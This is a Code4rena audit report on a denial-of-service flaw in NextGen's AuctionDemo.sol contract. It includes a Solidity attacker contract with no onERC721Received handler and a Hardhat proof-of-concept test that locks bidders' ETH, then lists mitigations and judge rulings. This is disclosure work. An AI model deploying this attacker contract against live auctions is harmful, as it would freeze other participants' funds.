Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 173/243
Findings: 1
Award: $0.47
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: The_Kakers
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0xJuda, 0x_6a70, 0xarno, 0xpiken, Arabadzhiev, Bauchibred, BugsFinder0x, BugzyVonBuggernaut, ChrisTina, DeFiHackLabs, Delvir0, HChang26, Haipls, Jiamin, Juntao, KupiaSec, Madalad, Neon2835, Nyx, Ocean_Sky, SpicyMeatball, Talfao, Taylor_Webb, Timenov, Tricko, ZdravkoHr, _eperezok, alexxander, amaechieth, bdmcbri, bronze_pickaxe, circlelooper, crunch, cu5t0mpeo, dimulski, fibonacci, funkornaut, immeas, ke1caM, lsaudit, nuthan2x, r0ck3tz, rotcivegaf, spark, tnquanghuy0512, twcctop, xeros
0.4703 USDC - $0.47
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120
High
Auction Demo can be in DoS and funds been locked in contract forever.
Let's supposed, we already created a NFT collection with 50 Tokens.
Now we want to use the mintAndAuction function() from MinterContract.sol, to set in Auction one of these tokens.
function mintAndAuction( address _recipient, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint _auctionEndTime ) public FunctionAdminRequired(this.mintAndAuction.selector) { require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data"); uint256 collectionTokenMintIndex; collectionTokenMintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID); require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_collectionID), "No supply"); uint256 mintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID); gencore.airDropTokens(mintIndex, _recipient, _tokenData, _saltfun_o, _collectionID); uint timeOfLastMint; // check 1 per period if (lastMintDate[_collectionID] == 0) { // for public sale set the allowlist the same time as publicsale timeOfLastMint = collectionPhases[_collectionID].allowlistStartTime - collectionPhases[_collectionID].timePeriod; } else { timeOfLastMint = lastMintDate[_collectionID]; } // uint calculates if period has passed in order to allow minting uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[_collectionID].timePeriod; // users are able to mint after a day passes require(tDiff>=1, "1 mint/period"); lastMintDate[_collectionID] = collectionPhases[_collectionID].allowlistStartTime + (collectionPhases[_collectionID].timePeriod * (gencore.viewCirSupply(_collectionID) - 1)); mintToAuctionData[mintIndex] = _auctionEndTime; mintToAuctionStatus[mintIndex] = true; }
We created a collection and collectionID is 1, no tokens are minted yet and TokenIDs goes from 10000000000 to 10000000049.
Paramenter pass for this function:
_recipient = address of the collection Artist _tokenData = "" _saltfun_o = 0 _collectionID = 1 _auctionEndTime = block.timestamp + 1000
Now mintAndAuction() function, will mint token 10000000000 for the artist and set it in auction.
The only thing to do now is approve token 10000000000, from the artist address, to the auctionDemo.sol . This is necessary because auctionDemo will transfer tokens from artist address to the auction winner.
Now anyone is able to partecipate to the auction of token 10000000000 via participateToAuction() function in AuctionDemo.sol:
function participateToAuction(uint256 _tokenid) public payable { require( msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true ); auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true); auctionInfoData[_tokenid].push(newBid); }
Now let's supposed there are 3 different address that partecipate to the auction:
Account1 EOA ==> 25 ETH Account2 EOA ==> 35 ETH HackerContract SmartContract ==> 50 ETH
Total ETH in Auction.sol = 110 ETH
As we already know, to receive NFT in a smart contract we need to implement onERC721Received(), otherwise our smart contracts can't handle it.
What's happen if the auction winner is HackerContract, and doesn't implement onERC721Received()?
AuctionDemo.sol will be in DoS.
This happens because the AuctionDemo, when the auction is finished, try to send the NFT from the Artist address to the HackerContract, but it doesn't implement onERC721Received() so, the NFT transfer can't be executed and ETH funds from all the partecipants are locked in the AuctionDemo.sol .
Suppose this contract, interact with auctionDemo.sol, and win the Auction
contract AttackerContract is Ownable{ auctionDemo auction; constructor(address payable _auctionDemo){ auction = auctionDemo(_auctionDemo); } function partecipate(uint tokenId)external payable { auction.participateToAuction{value: msg.value}(tokenId); } }
As we can see onERC721Received() isn't set.
const{expect} = require("chai"); const{expectRevert, ether} = require("@openzeppelin/test-helpers"); const{ time } = require("@nomicfoundation/hardhat-network-helpers"); describe("NextGen Audit: NextGenCore Contract", function(){ let owner, account1, account2, account3, account4, account5, hacker; let NextGenAdmins, nextGenAdmins, NextGenCore, nextGenCore, NFTdelegation, nftDelegation, MinterContract, minterContract, XRandom, xRandom, RandomNXT, randomNXT, AuctionDemo, auctionDemo, AttackerContract, attacker; before(async()=>{ [owner, account1, account2, account3, account4, account5, hacker] = await ethers.getSigners(); //Deploy NextGenAdmins NextGenAdmins = await ethers.getContractFactory("NextGenAdmins"); nextGenAdmins = await NextGenAdmins.deploy(); await nextGenAdmins.deployed(); //Deploy NextGenCore NextGenCore = await ethers.getContractFactory("NextGenCore"); nextGenCore = await NextGenCore.deploy("NEXT GEN", "NXT_GEN", nextGenAdmins.address); await nextGenCore.deployed(); //Deploy NFTdelegation NFTdelegation = await ethers.getContractFactory("DelegationManagementContract"); nftDelegation = await NFTdelegation.deploy(); await nftDelegation.deployed(); //Deploy MinterContract MinterContract = await ethers.getContractFactory("NextGenMinterContract"); minterContract = await MinterContract.deploy( nextGenCore.address, nftDelegation.address, nextGenAdmins.address ); await minterContract.deployed(); //Deploy XRandom XRandom = await ethers.getContractFactory("randomPool"); xRandom = await XRandom.deploy(); await xRandom.deployed(); //Deploy NextGenCore RandomNXT = await ethers.getContractFactory("NextGenRandomizerNXT"); randomNXT = await RandomNXT.deploy( xRandom.address, nextGenAdmins.address, nextGenCore.address ); await randomNXT.deployed(); await nextGenCore.addMinterContract(minterContract.address); //Deploy AuctionDemo AuctionDemo = await ethers.getContractFactory("auctionDemo"); auctionDemo = await AuctionDemo.deploy( minterContract.address, nextGenCore.address, nextGenAdmins.address ); await auctionDemo.deployed(); //Hacker Deploy Contract To Interact With protocol AttackerContract = await ethers.getContractFactory("AttackerContract"); attacker = await AttackerContract.connect(hacker).deploy(auctionDemo.address); await attacker.deployed(); }); it("Create Collections, Settings Data an set Randomizer Contract",async()=> { //Check actual collection index let newCollectionIndex = await nextGenCore.newCollectionIndex(); console.log(""); console.log("----- Collection Info: " + "name, artist, description, website, " + "_collectionLicense, _collectionBaseURI, _collectionLibrary, _collectionScript -----" ); //------------ COLLECTION 1 ----------------------- //Create collection and set account1 as artist. await nextGenCore.createCollection( "SMPL", (account1.address).toString(), "SimpleNFT", "www.www.com", "None", "", "None", ["script"] ); //Set Collection Admin of Collection 1 await nextGenAdmins.registerCollectionAdmin(1, account1.address, true); //Get Collection Info of Collection 1 let collectionInfo = await nextGenCore.retrieveCollectionInfo(newCollectionIndex); console.log(""); console.log("Created Collection Info", collectionInfo); console.log(""); console.log( "----- Collection Data: " + "collectionArtistAddress, " + "maxCollectionPurchases, " + "collectionCirculationSupply, " + "setFinalSupplyTimeAfterMint" + "randomizerContract" + "-----" ); //Set Collection Data of Collection 1 await nextGenCore.connect(account1).setCollectionData( 1, account1.address, 50, 50, 0 ); //Get Collection Data of Collection 1 let collectionData = await nextGenCore.retrieveCollectionAdditionalData(1); console.log(""); console.log("Created Collection Data", collectionData); //Add Randomizer NXT on Collection 1 await nextGenCore.addRandomizer(1, randomNXT.address); console.log(""); console.log("----- Collection Costs: " + "_collectionID, _collectionMintCost, _collectionEndMintCost, _rate, " + "_timePeriod, _salesOption, _delAddress -----" ); //Set Collection Cost on Collection 1 ===> Linear Sale await minterContract.connect(account1).setCollectionCosts( 1, ethers.utils.parseEther("1"), ethers.utils.parseEther("1"), 0, 1000, 1, // () "0x0000000000000000000000000000000000000000" ); //Get Collection Cost on Collection 1 let collectionCost = await minterContract.retrieveCollectionMintingDetails(1); console.log(""); console.log("Created Collection Cost", collectionCost); console.log(""); console.log("----- Collection Phase: " + "_collectionID, _allowlistStartTime, _allowlistEndTime, " + "_merkleRoot, _publicStartTime, publicEndTime, -----" ); let initialPhase = (await ethers.provider.getBlock("latest")).timestamp; //Set Collection Phase on Collection 1 await minterContract.connect(account1).setCollectionPhases( 1, initialPhase, initialPhase + 5000, initialPhase, initialPhase + 5000, "0x0000000000000000000000000000000000000000000000000000000000000000" ); //Get Collection Phases let collectionPhases = await minterContract.retrieveCollectionPhases(1); console.log(""); console.log("Created Collection Phases", collectionPhases); console.log(""); console.log("Actual Block Number", (await ethers.provider.getBlock("latest")).timestamp); console.log(""); //Freeze Collection await nextGenCore.freezeCollection(1); //MintAndAuction Function on Collection 1 await minterContract.mintAndAuction( account1.address, "", 0, 1, initialPhase + 100 ); //Approve token 10000000000 from account1 to AuctionDemo address await nextGenCore.connect(account1).approve(auctionDemo.address, 10000000000); console.log(""); console.log("Collection1 Min Index:", await nextGenCore.viewTokensIndexMin(1)); console.log("Collection1 Max Index:", await nextGenCore.viewTokensIndexMax(1)); console.log("Collection1 Circulating Supply:", await nextGenCore.viewCirSupply(1)); console.log(""); // Different EOA Accounts partecipate in auction await auctionDemo.connect(account3).participateToAuction(10000000000,{value: ethers.utils.parseEther("25")}); await auctionDemo.connect(account4).participateToAuction(10000000000,{value: ethers.utils.parseEther("35")}); //Hacker contract partecipate in auction await attacker.connect(hacker).partecipate(10000000000, {value: ethers.utils.parseEther("50")}); await time.increase(10000); await auctionDemo.claimAuction(10000000000); }); after(async()=>{ console.log("Auction Demo Balance", (await ethers.provider.getBalance(auctionDemo.address)/10**18).toString(), "ETH"); console.log("Demo owner Balance", (await ethers.provider.getBalance(owner.address)/10**18).toString(), "ETH"); console.log("Hacker Balance", (await ethers.provider.getBalance(hacker.address)/10**18).toString(), "ETH"); console.log("Attacker NFT Balance", (await nextGenCore.balanceOf(attacker.address)/10**18).toString(), "ETH"); console.log("Account3", (await ethers.provider.getBalance(account3.address)/10**18).toString(), "ETH"); console.log("Account4", (await ethers.provider.getBalance(account4.address)/10**18).toString(), "ETH"); console.log(""); console.log("DOS Exploit !"); }); });
Manual Review
Add require, that will check the bool result, to the low-level-calls in AuctionDemo.sol
Create a pull function(), to give the possibility to all the partecipants, to get back ETH if are not the winner.
Create a function emergencyExit(), accessible only from the admin of the contract, to get all the ETH stuck in the contract.
Use a require in partecipateAuction(), that will permit only EOA account to partecipate.
DoS
#0 - c4-pre-sort
2023-11-15T08:10:26Z
141345 marked the issue as duplicate of #843
#1 - c4-pre-sort
2023-11-15T08:11:31Z
141345 marked the issue as duplicate of #843
#2 - c4-pre-sort
2023-11-15T08:13:58Z
141345 marked the issue as duplicate of #843
#3 - c4-pre-sort
2023-11-16T13:36:08Z
141345 marked the issue as duplicate of #486
#4 - c4-judge
2023-12-01T22:44:15Z
alex-ppg marked the issue as not a duplicate
#5 - c4-judge
2023-12-01T22:44:38Z
alex-ppg marked the issue as duplicate of #1759
#6 - c4-judge
2023-12-08T22:14:43Z
alex-ppg marked the issue as partial-50
#7 - c4-judge
2023-12-09T00:23:13Z
alex-ppg changed the severity to 2 (Med Risk)